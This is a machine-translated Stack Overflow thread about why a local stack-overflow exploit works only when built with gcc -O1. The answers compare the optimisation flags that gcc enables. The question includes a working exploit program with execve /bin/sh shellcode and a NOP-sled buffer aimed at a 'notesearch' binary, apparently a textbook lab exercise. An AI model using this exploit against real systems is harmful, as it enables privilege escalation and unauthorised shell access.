当处理堆栈溢出时,我注意到只有在使用'-O1'编译它时才能工作。为了了解哪个选项负责差异,我手动输入了-O1选项(取自page我的版本,这与我在机器上检查man gcc
时找到的内容一致。但是,该程序再次无效。
我确实注意到仅在使用-O1
进行编译后这可能没有帮助警告输出:
exploit_notesearch.c:31:10: warning: ignoring return value of ‘system’, declared with attribute warn_unused_result [-Wunused-result]
。
有什么想法吗?在旧的SO问题中,有人pointed the difference out,但它仍然没有得到解决。
数据:
- Ubuntu 12.04
- gcc 4.6.3。
- x86 32位
- 一个C程序
注意:关于溢出工作,我已经禁用了我可以防止溢出的一切(金丝雀,ASLR,execstack,堆栈对齐)。
代码(可能与问题无关)。这个函数调用我可以发布的另一个但我不认为它应该重要(将根据要求):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
答案 0 :(得分:2)
您可以通过运行
打印出gcc实际使用的优化gcc -Q -O0 --help=optimizers
(或任何其他优化级别,而不是-O0
)。
答案 1 :(得分:0)
在-O1下逐步启用的内容的man
页面描述有多种方式关闭(有关摘要,请参阅此答案的结尾)。
根据@Joe Z的建议(仅使用-fverbose-asm进行汇编),在没有优化的情况下,启用以下选项:
# options enabled: -fasynchronous-unwind-tables -fauto-inc-dec
# -fbranch-count-reg -fcommon -fdelete-null-pointer-checks -fdwarf2-cfi-asm
# -fearly-inlining -feliminate-unused-debug-types -ffunction-cse -fgcse-lm
# -fident -finline-functions-called-once -fira-share-save-slots
# -fira-share-spill-slots -fivopts -fkeep-static-consts
# -fleading-underscore -fmath-errno -fmerge-debug-strings
# -fmove-loop-invariants -fpcc-struct-return -fpeephole
# -fprefetch-loop-arrays -fsched-critical-path-heuristic
# -fsched-dep-count-heuristic -fsched-group-heuristic -fsched-interblock
# -fsched-last-insn-heuristic -fsched-rank-heuristic -fsched-spec
# -fsched-spec-insn-heuristic -fsched-stalled-insns-dep -fshow-column
# -fsigned-zeros -fsplit-ivs-in-unroller -fstack-protector
# -fstrict-volatile-bitfields -ftrapping-math -ftree-cselim -ftree-forwprop
# -ftree-loop-if-convert -ftree-loop-im -ftree-loop-ivcanon
# -ftree-loop-optimize -ftree-parallelize-loops= -ftree-phiprop -ftree-pta
# -ftree-reassoc -ftree-scev-cprop -ftree-slp-vectorize
# -ftree-vect-loop-version -funit-at-a-time -funwind-tables
# -fvect-cost-model -fverbose-asm -fzero-initialized-in-bss -m32 -m80387
# -m96bit-long-double -maccumulate-outgoing-args -malign-stringops
# -mfancy-math-387 -mfp-ret-in-387 -mglibc -mieee-fp -mno-red-zone
# -mno-sse4 -mpush-args -msahf -mtls-direct-seg-refs
总的来说,使用-O0组装会创建相同的.s文件。在没有优化的.s文件和使用-O1组装的文件之间运行diff
会产生这种差异(由diff
吐出):
> -fcombine-stack-adjustments
> -fcompare-elim
> -fcprop-registers
> -fdefer-pop
> -fforward-propagate
> -fguess-branch-probability
> -fif-conversion
> -fif-conversion2
> -finline
> -fipa-profile
> -fipa-pure-const
> -fipa-reference
> -fmerge-constants
> -fomit-frame-pointer
> -fsplit-wide-types
> -ftoplevel-reorder
> -ftree-bit-ccp
> -ftree-ccp
> -ftree-ch
> -ftree-copy-prop
> -ftree-copyrename
> -ftree-dce
> -ftree-dominator-opts
> -ftree-dse
为了进行比较,无需转到该页面,man
页面显示-O1启用:
-fauto-inc-dec
-fcompare-elim
-fcprop-registers
-fdce
-fdefer-pop
-fdelayed-branch
-fdse
-fguess-branch-probability
-fif-conversion2
-fif-conversion
-fipa-pure-const
-fipa-profile
-fipa-reference
-fmerge-constants
-fsplit-wide-types
-ftree-bit-ccp
-ftree-builtin-call-dce
-ftree-ccp
-ftree-ch
-ftree-copyrename
-ftree-dce
-ftree-dominator-opts
-ftree-dse
-ftree-forwprop
-ftree-fre
-ftree-phiprop
-ftree-sra
-ftree-pta
-ftree-ter
-funit-at-a-time
-fomit-frame-pointer
因此,声称由-O1启用的选项中包含以下类别:
(1)实际上是(例如-fcompare-elim)
(2)已在-O0下启用的那些(例如,-fauto-inc-dec)
(3)那些既未在-O0或-O1下启用的那些(例如-fdce)
(4)实际启用的那些,在-O1列表中没有提到(例如,-fcombine-stack-adjustments)
(请注意,-fdelayed-branch仅在支持延迟分支的体系结构上启用,而我的不支持;所以这是一个特殊情况,并没有真正丢失)